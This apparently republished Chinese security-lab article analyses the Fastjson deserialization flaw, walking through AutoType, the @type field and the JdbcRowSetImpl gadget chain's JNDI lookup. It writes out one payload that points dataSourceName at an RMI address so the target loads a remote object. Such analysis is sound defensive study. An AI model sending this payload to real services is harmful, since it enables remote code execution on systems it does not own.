【干货】Fastjson反序列化漏洞原理分析

admin 2022年10月1日02:11:12评论1,322 views字数 3071阅读10分14秒阅读模式

【干货】Fastjson反序列化漏洞原理分析
戟星安全实验室

    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约2915字,阅读约需8分钟。




FastJson用法



1.基本用法
// 序列化String text = JSON.toJSONString(obj); // 反序列化VO vo = JSON.parse(); // 解析为JSONObject类型或者JSONArray类型VO vo = JSON.parseObject("{...}"); // JSON文本解析成JSONObject类型VO vo = JSON.parseObject("{...}", VO.class);  // JSON文本解析成VO.class类
2)JSON.toJSONString() 序列化成JSON代码
package com.fastjson.demo;
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.serializer.SerializerFeature;
public class test { public static void main(String[] args) { User user = new User(); user.setAge(18); user.setName("xiaoming");// String s = JSON.toJSONString(user);//        System.out.println(s); String s1 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1); }}


FastJson原理



JSON.toJSONString(object,SerializerFeature.WriteClassName)

JSON.toJSONString方法有一个参数SerializerFeature.WriteClassName,可以使得fastjson支持自省,开启自省之后序列化成JSON的数据就会多出一个@type,也就是这个参数导致了FastJson的反序列化漏洞。在对JSON数据进行反序列化的时候,会去调用指定类中的get/set/is方法。这个参数实现的功能在Fastjson中被称作AutoType,即自动类型。


=> AutoType功能开启之后,FastJson就会自动解析@type参数字段

如果不添加这个参数,我们的javaBean序列化后应该是这样:

可以看出多了一个@type参数

如果没有SerializerFeature.WriteClassName参数,我们进行反序列化代码时,代码这样写:

【干货】Fastjson反序列化漏洞原理分析


添加这个参数时:


【干货】Fastjson反序列化漏洞原理分析


可以看出多了一个@type参数

如果没有SerializerFeature.WriteClassName参数,我们进行反序列化代码时,代码这样写:

String s="{"age":25,"name":"armbandnewpy"}";JSONObject jsonObject = JSON.parseObject(s);


这时候我们不能控制到底要反序列化什么类型的对象,只能开发者在代码中指定好,如这样:


   【干货】Fastjson反序列化漏洞原理分析

而如果我们在序列化的时候添加了该参数,我们则可以在反序列化的时候,通过控制@type键的值来控制该序列化数据要被反序列化成什么样的对象,即调用什么类的set方法,接下来要用到的就是找到这样一个类可以被用来完成我们想要的功能。

如,其中一个类为com.sun.rowset.JdbcRowSetImpl


类关系图:

【干货】Fastjson反序列化漏洞原理分析


  • JSON:门面类,提供入口

  • DefaultJsonParser:主类

  • ParserConfig:配置相关类

  • JSONLexerBase:字符分析类

  • JavaBeanDeserializerJavaBean反序列化类



FastJson利用链分析


三条常用的链:JdbcRowSetImpl、TemplatesImpl、BasicDataSource

一、JdbcRowSetImpl
1)源码分析

查看com.sun.rowset.JdbcRowSetImpl类,定位到setDataSource

【干货】Fastjson反序列化漏洞原理分析

这段代码首先判断了this.getDataSourceName()是否为空,我们定位到getDataSourceName()方法处查看一下他的返回值

【干货】Fastjson反序列化漏洞原理分析

返回dataSource是一个字符串类型,那么我们在反序列化调用set方法时dataSource首先是没有值的,也就是说this.getDataSourceName()的返回值为null,这逻辑进入到else部分,调用了父类的setSourceName,并将var1传了进去。其实这一串都不重要,只需要知道反序列化的时候会自动调用setDataSourceNameDataSourceName赋值就可以了。
再在com.sun.rowset.JdbcRowSetImpl类中定位到setAutocommit方法:

【干货】Fastjson反序列化漏洞原理分析

再定位到this.connect方法:

【干货】Fastjson反序列化漏洞原理分析

在这里我们注意到有个lookup方法,该方法就是JNDI中访问远程服务器获取远程对象的方法,其参数为服务器地址。如果其参数可控,那么就可能被攻击,而this.getDataSourceName是获取DataSourceName值的方法,那么我们只要控制了this.setDataSourceName方法的参数就可以访问我们自己的服务器了。而我们知道Fastjson在反序列化的时候,会自动调用所有的set方法,正好可以通过setDataSourceNameDataSourceName进行赋值。于是我们就有了这样的Fastjson序列化数据:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/POC","autoCommit":true}

2Payload分析

【干货】Fastjson反序列化漏洞原理分析

payload中的a对象用来当作缓存绕过,需要关注的是第二个对象
注意到其中"autoCommit":true,反序列化时,会反射设置属性,调用com.sun.rowset.JdbcRowSetImpl.setAutoCommit()

【干货】Fastjson反序列化漏洞原理分析

跟入com.sun.rowset.JdbcRowSetImpl.connect(),触发lookup,加载远程恶意对象。

【干货】Fastjson反序列化漏洞原理分析

根据lookupcom.sun.jndi.rmi.registry.RegistryContext.lookup()

【干货】Fastjson反序列化漏洞原理分析

跟入decodeObject方法,看到加载了远程Reference绑定的恶意对象

【干货】Fastjson反序列化漏洞原理分析

总结:
实战可以利用,JDNI注入基于较低版本的JDKLDAP适用范围更广
必须能出网,加载远端的恶意字节码,造成了局限性



 声明

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。

    戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


【干货】Fastjson反序列化漏洞原理分析

戟星安全实验室
# 长按二维码 关注我们 #

原文始发于微信公众号(戟星安全实验室):【干货】Fastjson反序列化漏洞原理分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月1日02:11:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【干货】Fastjson反序列化漏洞原理分析http://cn-sec.com/archives/1327453.html

发表评论

匿名网友 填写信息